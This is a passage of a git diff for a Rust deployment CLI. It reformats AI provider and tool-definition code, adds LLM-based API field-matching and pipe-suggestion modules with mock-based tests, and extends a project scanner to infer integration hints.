 pub fn config_show_tool() -> ToolDef {
     ToolDef {
         name: "config_show".to_string(),
-        description: "Show the fully-resolved stacker.yml configuration (with env vars expanded).".to_string(),
+        description: "Show the fully-resolved stacker.yml configuration (with env vars expanded)."
+            .to_string(),
         parameters: serde_json::json!({
             "type": "object",
             "properties": {},
@@ -292,7 +311,9 @@ pub fn stacker_status_tool() -> ToolDef {
 pub fn stacker_logs_tool() -> ToolDef {
     ToolDef {
         name: "stacker_logs".to_string(),
-        description: "Retrieve container logs. Optionally filter by service name and limit line count.".to_string(),
+        description:
+            "Retrieve container logs. Optionally filter by service name and limit line count."
+                .to_string(),
         parameters: serde_json::json!({
             "type": "object",
             "properties": {
@@ -314,7 +335,8 @@ pub fn stacker_deploy_tool() -> ToolDef {
     ToolDef {
         name: "stacker_deploy".to_string(),
         description: "Build and deploy the stack. Use dry_run=true to preview what would happen \
-                      without making changes.".to_string(),
+                      without making changes."
+            .to_string(),
         parameters: serde_json::json!({
             "type": "object",
             "properties": {
@@ -340,7 +362,8 @@ pub fn stacker_deploy_tool() -> ToolDef {
 pub fn proxy_add_tool() -> ToolDef {
     ToolDef {
         name: "proxy_add".to_string(),
-        description: "Add a reverse-proxy entry mapping a domain to an upstream service.".to_string(),
+        description: "Add a reverse-proxy entry mapping a domain to an upstream service."
+            .to_string(),
         parameters: serde_json::json!({
             "type": "object",
             "properties": {
@@ -366,7 +389,8 @@ pub fn proxy_add_tool() -> ToolDef {
 pub fn proxy_detect_tool() -> ToolDef {
     ToolDef {
         name: "proxy_detect".to_string(),
-        description: "Detect running reverse-proxy containers (nginx, Traefik, etc.) on the host.".to_string(),
+        description: "Detect running reverse-proxy containers (nginx, Traefik, etc.) on the host."
+            .to_string(),
         parameters: serde_json::json!({
             "type": "object",
             "properties": {},
@@ -381,7 +405,8 @@ pub fn agent_health_tool() -> ToolDef {
     ToolDef {
         name: "agent_health".to_string(),
         description: "Check container health on the remote deployment via the Status Panel agent. \
-                      Returns container states, resource usage, and health metrics.".to_string(),
+                      Returns container states, resource usage, and health metrics."
+            .to_string(),
         parameters: serde_json::json!({
             "type": "object",
             "properties": {
@@ -403,7 +428,8 @@ pub fn agent_status_tool() -> ToolDef {
     ToolDef {
         name: "agent_status".to_string(),
         description: "Get the Status Panel agent status, including agent version, \
-                      last heartbeat, container states, and recent command history.".to_string(),
+                      last heartbeat, container states, and recent command history."
+            .to_string(),
         parameters: serde_json::json!({
             "type": "object",
             "properties": {
@@ -421,7 +447,8 @@ pub fn agent_logs_tool() -> ToolDef {
     ToolDef {
         name: "agent_logs".to_string(),
         description: "Fetch container logs from the remote deployment via the Status Panel agent. \
-                      Logs are automatically redacted for safety.".to_string(),
+                      Logs are automatically redacted for safety."
+            .to_string(),
         parameters: serde_json::json!({
             "type": "object",
             "properties": {
@@ -658,11 +685,10 @@ impl AiProvider for OpenAiProvider {
             });
         }
 
-        let json: serde_json::Value =
-            response.json().map_err(|e| CliError::AiProviderError {
-                provider: "openai".to_string(),
-                message: format!("Failed to parse response: {}", e),
-            })?;
+        let json: serde_json::Value = response.json().map_err(|e| CliError::AiProviderError {
+            provider: "openai".to_string(),
+            message: format!("Failed to parse response: {}", e),
+        })?;
 
         let msg = &json["choices"][0]["message"];
         let content = msg["content"].as_str().unwrap_or("").to_string();
@@ -677,9 +703,13 @@ impl AiProvider for OpenAiProvider {
                         let name = func["name"].as_str()?.to_string();
                         // OpenAI encodes arguments as a JSON string
                         let arguments: serde_json::Value =
-                            serde_json::from_str(func["arguments"].as_str().unwrap_or("{}")
-                            ).unwrap_or(serde_json::json!({}));
-                        Some(ToolCall { id, name, arguments })
+                            serde_json::from_str(func["arguments"].as_str().unwrap_or("{}"))
+                                .unwrap_or(serde_json::json!({}));
+                        Some(ToolCall {
+                            id,
+                            name,
+                            arguments,
+                        })
                     })
                     .collect();
                 return Ok(AiResponse::ToolCalls(content, calls));
@@ -897,7 +927,11 @@ impl OllamaProvider {
 
         let timeout_secs = resolve_timeout(config.timeout);
 
-        Self { endpoint, model, timeout_secs }
+        Self {
+            endpoint,
+            model,
+            timeout_secs,
+        }
     }
 }
 
@@ -986,11 +1020,10 @@ impl AiProvider for OllamaProvider {
             });
         }
 
-        let json: serde_json::Value =
-            response.json().map_err(|e| CliError::AiProviderError {
-                provider: "ollama".to_string(),
-                message: format!("Failed to parse response: {}", e),
-            })?;
+        let json: serde_json::Value = response.json().map_err(|e| CliError::AiProviderError {
+            provider: "ollama".to_string(),
+            message: format!("Failed to parse response: {}", e),
+        })?;
 
         let msg = &json["message"];
         let content = msg["content"].as_str().unwrap_or("").to_string();
@@ -1013,7 +1046,11 @@ impl AiProvider for OllamaProvider {
                         } else {
                             serde_json::json!({})
                         };
-                        Some(ToolCall { id: None, name, arguments })
+                        Some(ToolCall {
+                            id: None,
+                            name,
+                            arguments,
+                        })
                     })
                     .collect();
                 return Ok(AiResponse::ToolCalls(content, calls));
@@ -1141,12 +1178,11 @@ pub fn ollama_complete_streaming(
             continue;
         }
 
-        let json: serde_json::Value = serde_json::from_str(trimmed).map_err(|e| {
-            CliError::AiProviderError {
+        let json: serde_json::Value =
+            serde_json::from_str(trimmed).map_err(|e| CliError::AiProviderError {
                 provider: "ollama".to_string(),
                 message: format!("Invalid streaming chunk: {}", e),
-            }
-        })?;
+            })?;
 
         if let Some(chunk) = json["message"]["content"].as_str() {
             eprint!("{}", chunk);
@@ -1280,10 +1316,7 @@ pub fn build_compose_prompt(ctx: &PromptContext) -> (String, String) {
 
 /// Build a prompt for troubleshooting deployment issues.
 pub fn build_troubleshoot_prompt(ctx: &PromptContext) -> (String, String) {
-    let error = ctx
-        .error_log
-        .as_deref()
-        .unwrap_or("No error log provided");
+    let error = ctx.error_log.as_deref().unwrap_or("No error log provided");
 
     let prompt = format!(
         "Diagnose and fix the following deployment issue.\n\
@@ -1393,7 +1426,9 @@ mod tests {
     #[test]
     fn test_mock_ai_complete() {
         let provider = MockAiProvider::with_response("Use FROM node:lts-alpine");
-        let result = provider.complete("optimize dockerfile", "system context").unwrap();
+        let result = provider
+            .complete("optimize dockerfile", "system context")
+            .unwrap();
         assert!(result.contains("node:lts-alpine"));
     }
 
@@ -1504,8 +1539,8 @@ mod tests {
     #[test]
     fn test_default_models() {
         assert_eq!(default_model(AiProviderType::Openai), "gpt-4o");
-        assert_eq!(default_model(AiProviderType::Ollama), "llama3");
-        assert!(default_model(AiProviderType::Anthropic).contains("claude"));
+        assert_eq!(default_model(AiProviderType::Ollama), "qwen2.5-coder");
+        assert!(default_model(AiProviderType::Anthropic).starts_with("claude"));
     }
 
     #[test]
@@ -1514,7 +1549,9 @@ mod tests {
             project_type: Some(AppType::Python),
             files: vec![],
             error_log: None,
-            current_config: Some("version: '3'\nservices:\n  web:\n    image: python:3.11".to_string()),
+            current_config: Some(
+                "version: '3'\nservices:\n  web:\n    image: python:3.11".to_string(),
+            ),
         };
 
         let (_, prompt) = build_compose_prompt(&ctx);
diff --git a/src/cli/ai_field_matcher.rs b/src/cli/ai_field_matcher.rs
new file mode 100644
index 00000000..b1fd2319
--- /dev/null
+++ b/src/cli/ai_field_matcher.rs
@@ -0,0 +1,354 @@
+use std::collections::HashMap;
+
+use crate::cli::ai_client::{create_provider, AiProvider};
+use crate::cli::config_parser::AiConfig;
+use crate::cli::error::CliError;
+use crate::cli::field_matcher::{
+    DeterministicFieldMatcher, FieldMatchResult, FieldMatcher, MatchingMode, TransformSuggestion,
+};
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// AiFieldMatcher — LLM-powered semantic field matching
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+const FIELD_MATCH_SYSTEM_PROMPT: &str = "\
+You are a data integration expert. Given source and target API field lists, \
+produce a JSON field mapping. For each target field, find the best matching \
+source field using semantic understanding of field names, not just string patterns.
+
+Rules:
+- Map each target field to exactly one source field (JSONPath format: $.field_name)
+- Include a confidence score (0.0–1.0) for each mapping
+- If no good match exists (confidence < 0.3), omit the mapping
+- Suggest transformations when multiple source fields should combine (e.g., first_name + last_name → full_name)
+
+Respond with ONLY valid JSON in this exact format:
+{
+  \"mappings\": {
+    \"target_field\": {\"source\": \"$.source_field\", \"confidence\": 0.95}
+  },
+  \"transformations\": [
+    {\"target\": \"full_name\", \"expression\": \"concat($.first_name, ' ', $.last_name)\", \"description\": \"Combine first and last name\"}
+  ]
+}";
+
+pub struct AiFieldMatcher {
+    provider: Box<dyn AiProvider>,
+    model_name: String,
+}
+
+impl AiFieldMatcher {
+    pub fn new(config: &AiConfig) -> Result<Self, CliError> {
+        let provider = create_provider(config)?;
+        let model_name = config
+            .model
+            .clone()
+            .unwrap_or_else(|| "default".to_string());
+        Ok(Self {
+            provider,
+            model_name,
+        })
+    }
+
+    /// For testing: create from a pre-built provider.
+    #[cfg(test)]
+    pub fn from_provider(provider: Box<dyn AiProvider>, model_name: String) -> Self {
+        Self {
+            provider,
+            model_name,
+        }
+    }
+
+    pub fn model_name(&self) -> &str {
+        &self.model_name
+    }
+
+    fn build_prompt(
+        &self,
+        src_fields: &[String],
+        tgt_fields: &[String],
+        source_sample: Option<&serde_json::Value>,
+    ) -> String {
+        let mut prompt = format!(
+            "Source fields: [{}]\nTarget fields: [{}]",
+            src_fields.join(", "),
+            tgt_fields.join(", ")
+        );
+
+        if let Some(sample) = source_sample {
+            if let Ok(s) = serde_json::to_string(sample) {
+                // Truncate large samples
+                let truncated = if s.len() > 500 { &s[..500] } else { &s };
+                prompt.push_str(&format!("\n\nSample source data: {}", truncated));
+            }
+        }
+
+        prompt
+    }
+
+    fn parse_response(
+        &self,
+        response: &str,
+    ) -> Option<(HashMap<String, (String, f32)>, Vec<TransformSuggestion>)> {
+        // Try to extract JSON from the response (may be wrapped in markdown code blocks)
+        let json_str = extract_json_block(response);
+        let parsed: serde_json::Value = serde_json::from_str(json_str).ok()?;
+
+        let mut field_mappings = HashMap::new();
+        if let Some(mappings) = parsed.get("mappings").and_then(|m| m.as_object()) {
+            for (target, info) in mappings {
+                let source = info.get("source").and_then(|s| s.as_str())?;
+                let confidence = info
+                    .get("confidence")
+                    .and_then(|c| c.as_f64())
+                    .unwrap_or(0.8) as f32;
+                field_mappings.insert(target.clone(), (source.to_string(), confidence));
+            }
+        }
+
+        let mut suggestions = Vec::new();
+        if let Some(transforms) = parsed.get("transformations").and_then(|t| t.as_array()) {
+            for t in transforms {
+                if let (Some(target), Some(expr), Some(desc)) = (
+                    t.get("target").and_then(|v| v.as_str()),
+                    t.get("expression").and_then(|v| v.as_str()),
+                    t.get("description").and_then(|v| v.as_str()),
+                ) {
+                    suggestions.push(TransformSuggestion {
+                        target_field: target.to_string(),
+                        expression: expr.to_string(),
+                        description: desc.to_string(),
+                    });
+                }
+            }
+        }
+
+        Some((field_mappings, suggestions))
+    }
+}
+
+impl FieldMatcher for AiFieldMatcher {
+    fn match_fields(
+        &self,
+        src_fields: &[String],
+        tgt_fields: &[String],
+        source_sample: Option<&serde_json::Value>,
+    ) -> FieldMatchResult {
+        let prompt = self.build_prompt(src_fields, tgt_fields, source_sample);
+
+        let response = match self.provider.complete(FIELD_MATCH_SYSTEM_PROMPT, &prompt) {
+            Ok(r) => r,
+            Err(e) => {
+                eprintln!(
+                    "  ⚠ AI field matching failed ({}), falling back to deterministic",
+                    e
+                );
+                return DeterministicFieldMatcher.match_fields(
+                    src_fields,
+                    tgt_fields,
+                    source_sample,
+                );
+            }
+        };
+
+        match self.parse_response(&response) {
+            Some((field_mappings, suggestions)) => {
+                let mut mapping = serde_json::Map::new();
+                let mut confidence = HashMap::new();
+
+                for (target, (source, conf)) in &field_mappings {
+                    mapping.insert(target.clone(), serde_json::Value::String(source.clone()));
+                    confidence.insert(target.clone(), *conf);
+                }
+
+                FieldMatchResult {
+                    mapping: serde_json::Value::Object(mapping),
+                    confidence,
+                    suggestions,
+                    mode: MatchingMode::Ai,
+                }
+            }
+            None => {
+                eprintln!("  ⚠ Failed to parse AI response, falling back to deterministic");
+                DeterministicFieldMatcher.match_fields(src_fields, tgt_fields, source_sample)
+            }
+        }
+    }
+}
+
+/// Extract a JSON block from a response that may contain markdown code fences.
+fn extract_json_block(text: &str) -> &str {
+    // Try to find ```json ... ``` block
+    if let Some(start) = text.find("```json") {
+        let json_start = start + "```json".len();
+        if let Some(end) = text[json_start..].find("```") {
+            return text[json_start..json_start + end].trim();
+        }
+    }
+    // Try ``` ... ``` block
+    if let Some(start) = text.find("```") {
+        let json_start = start + "```".len();
+        // Skip optional language identifier on first line
+        let content = &text[json_start..];
+        let actual_start = content.find('\n').map(|n| n + 1).unwrap_or(0);
+        if let Some(end) = content[actual_start..].find("```") {
+            return content[actual_start..actual_start + end].trim();
+        }
+    }
+    // Assume the whole response is JSON
+    text.trim()
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::cli::ai_client::AiProvider;
+    use crate::cli::error::CliError;
+    use serde_json::json;
+
+    /// Mock AI provider for testing.
+    struct MockAiProvider {
+        response: String,
+    }
+
+    impl MockAiProvider {
+        fn new(response: &str) -> Self {
+            Self {
+                response: response.to_string(),
+            }
+        }
+    }
+
+    impl AiProvider for MockAiProvider {
+        fn name(&self) -> &str {
+            "mock"
+        }
+        fn complete(&self, _prompt: &str, _context: &str) -> Result<String, CliError> {
+            Ok(self.response.clone())
+        }
+    }
+
+    #[test]
+    fn test_ai_field_match_basic() {
+        let mock = MockAiProvider::new(
+            r#"{"mappings": {"email": {"source": "$.user_email", "confidence": 0.95}, "name": {"source": "$.display_name", "confidence": 0.88}}, "transformations": []}"#,
+        );
+        let matcher = AiFieldMatcher::from_provider(Box::new(mock), "test-model".to_string());
+
+        let src = vec![
+            "user_email".to_string(),
+            "display_name".to_string(),
+            "id".to_string(),
+        ];
+        let tgt = vec!["email".to_string(), "name".to_string()];
+        let result = matcher.match_fields(&src, &tgt, None);
+
+        assert_eq!(result.mode, MatchingMode::Ai);
+        let map = result.mapping.as_object().unwrap();
+        assert_eq!(map["email"], "$.user_email");
+        assert_eq!(map["name"], "$.display_name");
+        assert!((*result.confidence.get("email").unwrap() - 0.95).abs() < 0.01);
+        assert!((*result.confidence.get("name").unwrap() - 0.88).abs() < 0.01);
+    }
+
+    #[test]
+    fn test_ai_field_match_with_transformations() {
+        let mock = MockAiProvider::new(
+            r#"{"mappings": {"email": {"source": "$.mail", "confidence": 0.9}}, "transformations": [{"target": "full_name", "expression": "concat($.first_name, ' ', $.last_name)", "description": "Combine first and last name"}]}"#,
+        );
+        let matcher = AiFieldMatcher::from_provider(Box::new(mock), "test-model".to_string());
+
+        let src = vec![
+            "mail".to_string(),
+            "first_name".to_string(),
+            "last_name".to_string(),
+        ];
+        let tgt = vec!["email".to_string(), "full_name".to_string()];
+        let result = matcher.match_fields(&src, &tgt, None);
+
+        assert_eq!(result.suggestions.len(), 1);
+        assert_eq!(result.suggestions[0].target_field, "full_name");
+        assert!(result.suggestions[0].expression.contains("concat"));
+    }
+
+    #[test]
+    fn test_ai_field_match_with_code_fence() {
+        let mock = MockAiProvider::new(
+            "Here's the mapping:\n```json\n{\"mappings\": {\"email\": {\"source\": \"$.mail\", \"confidence\": 0.9}}, \"transformations\": []}\n```",
+        );
+        let matcher = AiFieldMatcher::from_provider(Box::new(mock), "test-model".to_string());
+
+        let src = vec!["mail".to_string()];
+        let tgt = vec!["email".to_string()];
+        let result = matcher.match_fields(&src, &tgt, None);
+
+        assert_eq!(result.mode, MatchingMode::Ai);
+        let map = result.mapping.as_object().unwrap();
+        assert_eq!(map["email"], "$.mail");
+    }
+
+    #[test]
+    fn test_ai_field_match_fallback_on_bad_response() {
+        let mock = MockAiProvider::new("This is not JSON at all!");
+        let matcher = AiFieldMatcher::from_provider(Box::new(mock), "test-model".to_string());
+
+        let src = vec!["email".to_string()];
+        let tgt = vec!["email".to_string()];
+        let result = matcher.match_fields(&src, &tgt, None);
+
+        // Falls back to deterministic
+        assert_eq!(result.mode, MatchingMode::Deterministic);
+        let map = result.mapping.as_object().unwrap();
+        assert_eq!(map["email"], "$.email");
+    }
+
+    #[test]
+    fn test_ai_field_match_fallback_on_provider_error() {
+        struct FailingProvider;
+        impl AiProvider for FailingProvider {
+            fn name(&self) -> &str {
+                "failing"
+            }
+            fn complete(&self, _: &str, _: &str) -> Result<String, CliError> {
+                Err(CliError::AiProviderError {
+                    provider: "failing".to_string(),
+                    message: "Connection refused".to_string(),
+                })
+            }
+        }
+
+        let matcher = AiFieldMatcher::from_provider(Box::new(FailingProvider), "test".to_string());
+        let src = vec!["email".to_string()];
+        let tgt = vec!["email".to_string()];
+        let result = matcher.match_fields(&src, &tgt, None);
+
+        assert_eq!(result.mode, MatchingMode::Deterministic);
+    }
+
+    #[test]
+    fn test_extract_json_block_bare() {
+        let input = r#"{"mappings": {}}"#;
+        assert_eq!(extract_json_block(input), r#"{"mappings": {}}"#);
+    }
+
+    #[test]
+    fn test_extract_json_block_fenced() {
+        let input = "Some text\n```json\n{\"key\": \"value\"}\n```\nMore text";
+        assert_eq!(extract_json_block(input), "{\"key\": \"value\"}");
+    }
+
+    #[test]
+    fn test_build_prompt_with_sample() {
+        let mock = MockAiProvider::new("{}");
+        let matcher = AiFieldMatcher::from_provider(Box::new(mock), "test".to_string());
+        let sample = json!({"email": "test@example.com", "name": "John"});
+        let prompt = matcher.build_prompt(
+            &["email".to_string(), "name".to_string()],
+            &["mail".to_string()],
+            Some(&sample),
+        );
+        assert!(prompt.contains("Source fields: [email, name]"));
+        assert!(prompt.contains("Target fields: [mail]"));
+        assert!(prompt.contains("Sample source data:"));
+    }
+}
diff --git a/src/cli/ai_pipe_suggest.rs b/src/cli/ai_pipe_suggest.rs
new file mode 100644
index 00000000..27dbdccc
--- /dev/null
+++ b/src/cli/ai_pipe_suggest.rs
@@ -0,0 +1,279 @@
+use crate::cli::ai_client::{create_provider, AiProvider};
+use crate::cli::config_parser::AiConfig;
+use crate::cli::error::CliError;
+use serde::{Deserialize, Serialize};
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// AI Pipe Connection Suggestion Engine
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+const PIPE_SUGGEST_SYSTEM_PROMPT: &str = "\
+You are a data integration architect. Given two application API endpoint lists, \
+suggest meaningful pipe connections between them. A pipe connects a source endpoint \
+(that produces data) to a target endpoint (that consumes data).
+
+Rules:
+- Only suggest connections where data from the source can logically flow to the target
+- Rank by confidence (0.0–1.0)
+- Include a brief description of what each connection achieves
+- Maximum 10 suggestions
+
+Respond with ONLY valid JSON in this exact format:
+{
+  \"suggestions\": [
+    {
+      \"source\": {\"method\": \"GET\", \"path\": \"/api/posts\"},
+      \"target\": {\"method\": \"POST\", \"path\": \"/api/messages\"},
+      \"description\": \"Send new blog posts as messages\",
+      \"confidence\": 0.92
+    }
+  ]
+}";
+
+#[derive(Debug, Clone, Serialize, Deserialize)]
+pub struct EndpointInfo {
+    pub method: String,
+    pub path: String,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub description: Option<String>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub fields: Option<Vec<String>>,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize)]
+pub struct PipeSuggestion {
+    pub source: EndpointInfo,
+    pub target: EndpointInfo,
+    pub description: String,
+    pub confidence: f32,
+}
+
+pub struct AiPipeSuggest {
+    provider: Box<dyn AiProvider>,
+}
+
+impl AiPipeSuggest {
+    pub fn new(config: &AiConfig) -> Result<Self, CliError> {
+        let provider = create_provider(config)?;
+        Ok(Self { provider })
+    }
+
+    #[cfg(test)]
+    pub fn from_provider(provider: Box<dyn AiProvider>) -> Self {
+        Self { provider }
+    }
+
+    /// Suggest pipe connections between source and target app endpoints.
+    pub fn suggest(
+        &self,
+        source_app: &str,
+        target_app: &str,
+        source_endpoints: &[EndpointInfo],
+        target_endpoints: &[EndpointInfo],
+    ) -> Result<Vec<PipeSuggestion>, CliError> {
+        let prompt = self.build_prompt(source_app, target_app, source_endpoints, target_endpoints);
+
+        let response = self
+            .provider
+            .complete(PIPE_SUGGEST_SYSTEM_PROMPT, &prompt)?;
+
+        match self.parse_response(&response) {
+            Some(mut suggestions) => {
+                // Sort by confidence descending
+                suggestions.sort_by(|a, b| {
+                    b.confidence
+                        .partial_cmp(&a.confidence)
+                        .unwrap_or(std::cmp::Ordering::Equal)
+                });
+                Ok(suggestions)
+            }
+            None => {
+                eprintln!("  ⚠ Failed to parse AI pipe suggestions");
+                Ok(Vec::new())
+            }
+        }
+    }
+
+    fn build_prompt(
+        &self,
+        source_app: &str,
+        target_app: &str,
+        source_endpoints: &[EndpointInfo],
+        target_endpoints: &[EndpointInfo],
+    ) -> String {
+        let src_json = serde_json::to_string_pretty(source_endpoints).unwrap_or_default();
+        let tgt_json = serde_json::to_string_pretty(target_endpoints).unwrap_or_default();
+
+        format!(
+            "Source app: {source_app}\nSource endpoints:\n{src_json}\n\n\
+             Target app: {target_app}\nTarget endpoints:\n{tgt_json}"
+        )
+    }
+
+    fn parse_response(&self, response: &str) -> Option<Vec<PipeSuggestion>> {
+        let json_str = extract_json_block(response);
+        let parsed: serde_json::Value = serde_json::from_str(json_str).ok()?;
+
+        let suggestions_arr = parsed.get("suggestions")?.as_array()?;
+        let mut result = Vec::new();
+
+        for item in suggestions_arr {
+            let source = parse_endpoint_info(item.get("source")?)?;
+            let target = parse_endpoint_info(item.get("target")?)?;
+            let description = item.get("description")?.as_str()?.to_string();
+            let confidence = item.get("confidence")?.as_f64()? as f32;
+
+            result.push(PipeSuggestion {
+                source,
+                target,
+                description,
+                confidence,
+            });
+        }
+
+        Some(result)
+    }
+}
+
+fn parse_endpoint_info(val: &serde_json::Value) -> Option<EndpointInfo> {
+    Some(EndpointInfo {
+        method: val.get("method")?.as_str()?.to_string(),
+        path: val.get("path")?.as_str()?.to_string(),
+        description: val
+            .get("description")
+            .and_then(|d| d.as_str())
+            .map(|s| s.to_string()),
+        fields: None,
+    })
+}
+
+/// Extract a JSON block from a response that may contain markdown code fences.
+fn extract_json_block(text: &str) -> &str {
+    if let Some(start) = text.find("```json") {
+        let json_start = start + "```json".len();
+        if let Some(end) = text[json_start..].find("```") {
+            return text[json_start..json_start + end].trim();
+        }
+    }
+    if let Some(start) = text.find("```") {
+        let json_start = start + "```".len();
+        let content = &text[json_start..];
+        let actual_start = content.find('\n').map(|n| n + 1).unwrap_or(0);
+        if let Some(end) = content[actual_start..].find("```") {
+            return content[actual_start..actual_start + end].trim();
+        }
+    }
+    text.trim()
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::cli::ai_client::AiProvider;
+    use crate::cli::error::CliError;
+
+    struct MockAiProvider {
+        response: String,
+    }
+
+    impl MockAiProvider {
+        fn new(response: &str) -> Self {
+            Self {
+                response: response.to_string(),
+            }
+        }
+    }
+
+    impl AiProvider for MockAiProvider {
+        fn name(&self) -> &str {
+            "mock"
+        }
+        fn complete(&self, _prompt: &str, _context: &str) -> Result<String, CliError> {
+            Ok(self.response.clone())
+        }
+    }
+
+    #[test]
+    fn test_suggest_basic() {
+        let mock = MockAiProvider::new(
+            r#"{"suggestions": [{"source": {"method": "GET", "path": "/api/posts"}, "target": {"method": "POST", "path": "/api/messages"}, "description": "Post blog updates to chat", "confidence": 0.92}]}"#,
+        );
+        let engine = AiPipeSuggest::from_provider(Box::new(mock));
+
+        let src = vec![EndpointInfo {
+            method: "GET".to_string(),
+            path: "/api/posts".to_string(),
+            description: None,
+            fields: None,
+        }];
+        let tgt = vec![EndpointInfo {
+            method: "POST".to_string(),
+            path: "/api/messages".to_string(),
+            description: None,
+            fields: None,
+        }];
+
+        let result = engine.suggest("wordpress", "slack", &src, &tgt).unwrap();
+        assert_eq!(result.len(), 1);
+        assert_eq!(result[0].source.path, "/api/posts");
+        assert_eq!(result[0].target.path, "/api/messages");
+        assert!(result[0].confidence > 0.9);
+    }
+
+    #[test]
+    fn test_suggest_multiple_sorted_by_confidence() {
+        let mock = MockAiProvider::new(
+            r#"{"suggestions": [
+                {"source": {"method": "GET", "path": "/api/posts"}, "target": {"method": "POST", "path": "/api/feed"}, "description": "Low confidence", "confidence": 0.5},
+                {"source": {"method": "GET", "path": "/api/users"}, "target": {"method": "POST", "path": "/api/contacts"}, "description": "High confidence", "confidence": 0.95}
+            ]}"#,
+        );
+        let engine = AiPipeSuggest::from_provider(Box::new(mock));
+
+        let result = engine.suggest("app1", "app2", &[], &[]).unwrap();
+        assert_eq!(result.len(), 2);
+        assert!(result[0].confidence > result[1].confidence);
+        assert_eq!(result[0].description, "High confidence");
+    }
+
+    #[test]
+    fn test_suggest_empty_on_bad_response() {
+        let mock = MockAiProvider::new("Not valid JSON");
+        let engine = AiPipeSuggest::from_provider(Box::new(mock));
+
+        let result = engine.suggest("app1", "app2", &[], &[]).unwrap();
+        assert!(result.is_empty());
+    }
+
+    #[test]
+    fn test_suggest_error_propagation() {
+        struct FailingProvider;
+        impl AiProvider for FailingProvider {
+            fn name(&self) -> &str {
+                "failing"
+            }
+            fn complete(&self, _: &str, _: &str) -> Result<String, CliError> {
+                Err(CliError::AiProviderError {
+                    provider: "failing".to_string(),
+                    message: "timeout".to_string(),
+                })
+            }
+        }
+
+        let engine = AiPipeSuggest::from_provider(Box::new(FailingProvider));
+        let result = engine.suggest("app1", "app2", &[], &[]);
+        assert!(result.is_err());
+    }
+
+    #[test]
+    fn test_suggest_with_code_fence() {
+        let mock = MockAiProvider::new(
+            "Here are my suggestions:\n```json\n{\"suggestions\": [{\"source\": {\"method\": \"GET\", \"path\": \"/data\"}, \"target\": {\"method\": \"POST\", \"path\": \"/ingest\"}, \"description\": \"Sync data\", \"confidence\": 0.88}]}\n```",
+        );
+        let engine = AiPipeSuggest::from_provider(Box::new(mock));
+
+        let result = engine.suggest("src", "tgt", &[], &[]).unwrap();
+        assert_eq!(result.len(), 1);
+        assert_eq!(result[0].description, "Sync data");
+    }
+}
diff --git a/src/cli/ai_scanner.rs b/src/cli/ai_scanner.rs
index deea3e6e..8a68ca61 100644
--- a/src/cli/ai_scanner.rs
+++ b/src/cli/ai_scanner.rs
@@ -34,6 +34,36 @@ pub struct ProjectScanResult {
 
     /// Existing .env keys (values redacted for safety)
     pub env_keys: Vec<String>,
+
+    /// Locally inferred pipe opportunities discovered from dependencies,
+    /// env keys, and existing compose/services. These are advisory hints for
+    /// init-time AI generation, not runtime-verified endpoints.
+    pub pipe_hints: Vec<PipeHint>,
+}
+
+/// Advisory local integration hint derived from static project evidence.
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct PipeHint {
+    pub source: String,
+    pub target: String,
+    pub kind: String,
+    pub confidence: PipeHintConfidence,
+    pub evidence: Vec<String>,
+}
+
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub enum PipeHintConfidence {
+    High,
+    Medium,
+}
+
+impl PipeHintConfidence {
+    fn as_str(self) -> &'static str {
+        match self {
+            Self::High => "high",
+            Self::Medium => "medium",
+        }
+    }
 }
 
 /// Max bytes to read from any single file for AI context.
@@ -151,6 +181,14 @@ pub fn scan_project(project_dir: &Path, fs: &dyn FileSystem) -> ProjectScanResul
         file_contents.insert(filename.clone(), truncated);
     }
 
+    let pipe_hints = discover_local_pipe_hints(
+        &project_name,
+        detection.app_type.to_string(),
+        &root_files,
+        &file_contents,
+        &env_keys,
+    );
+
     ProjectScanResult {
         detection,
         root_files,
@@ -159,56 +197,281 @@ pub fn scan_project(project_dir: &Path, fs: &dyn FileSystem) -> ProjectScanResul
         existing_dockerfile,
         existing_compose,
         env_keys,
+        pipe_hints,
     }
 }
 
+fn discover_local_pipe_hints(
+    project_name: &str,
+    detected_app_type: String,
+    root_files: &[String],
+    file_contents: &HashMap<String, String>,
+    env_keys: &[String],
+) -> Vec<PipeHint> {
+    let mut hints = Vec::new();
+    let lower_env_keys: Vec<String> = env_keys.iter().map(|k| k.to_lowercase()).collect();
+
+    let package_json = file_contents
+        .get("package.json")
+        .map(|c| c.to_lowercase())
+        .unwrap_or_default();
+    let requirements = file_contents
+        .get("requirements.txt")
+        .map(|c| c.to_lowercase())
+        .unwrap_or_default();
+    let pyproject = file_contents
+        .get("pyproject.toml")
+        .map(|c| c.to_lowercase())
+        .unwrap_or_default();
+    let compose = file_contents
+        .get("docker-compose.yml")
+        .or_else(|| file_contents.get("docker-compose.yaml"))
+        .or_else(|| file_contents.get("compose.yml"))
+        .or_else(|| file_contents.get("compose.yaml"))
+        .map(|c| c.to_lowercase())
+        .unwrap_or_default();
+
+    let mut push_hint =
+        |target: &str, kind: &str, confidence: PipeHintConfidence, evidence: Vec<String>| {
+            if evidence.is_empty() {
+                return;
+            }
+            hints.push(PipeHint {
+                source: project_name.to_string(),
+                target: target.to_string(),
+                kind: kind.to_string(),
+                confidence,
+                evidence,
+            });
+        };
+
+    let mut webhook_evidence = Vec::new();
+    if package_json.contains("webhook")
+        || requirements.contains("webhook")
+        || pyproject.contains("webhook")
+    {
+        webhook_evidence.push("webhook-related dependency detected".to_string());
+    }
+    if lower_env_keys.iter().any(|k| k.contains("webhook")) {
+        webhook_evidence.push("env keys reference webhooks".to_string());
+    }
+    if lower_env_keys.iter().any(|k| k.contains("slack")) {
+        webhook_evidence.push("env keys reference Slack integration".to_string());
+    }
+    if lower_env_keys.iter().any(|k| k.contains("discord")) {
+        webhook_evidence.push("env keys reference Discord integration".to_string());
+    }
+    if !webhook_evidence.is_empty() {
+        push_hint(
+            "external-webhook",
+            "webhook",
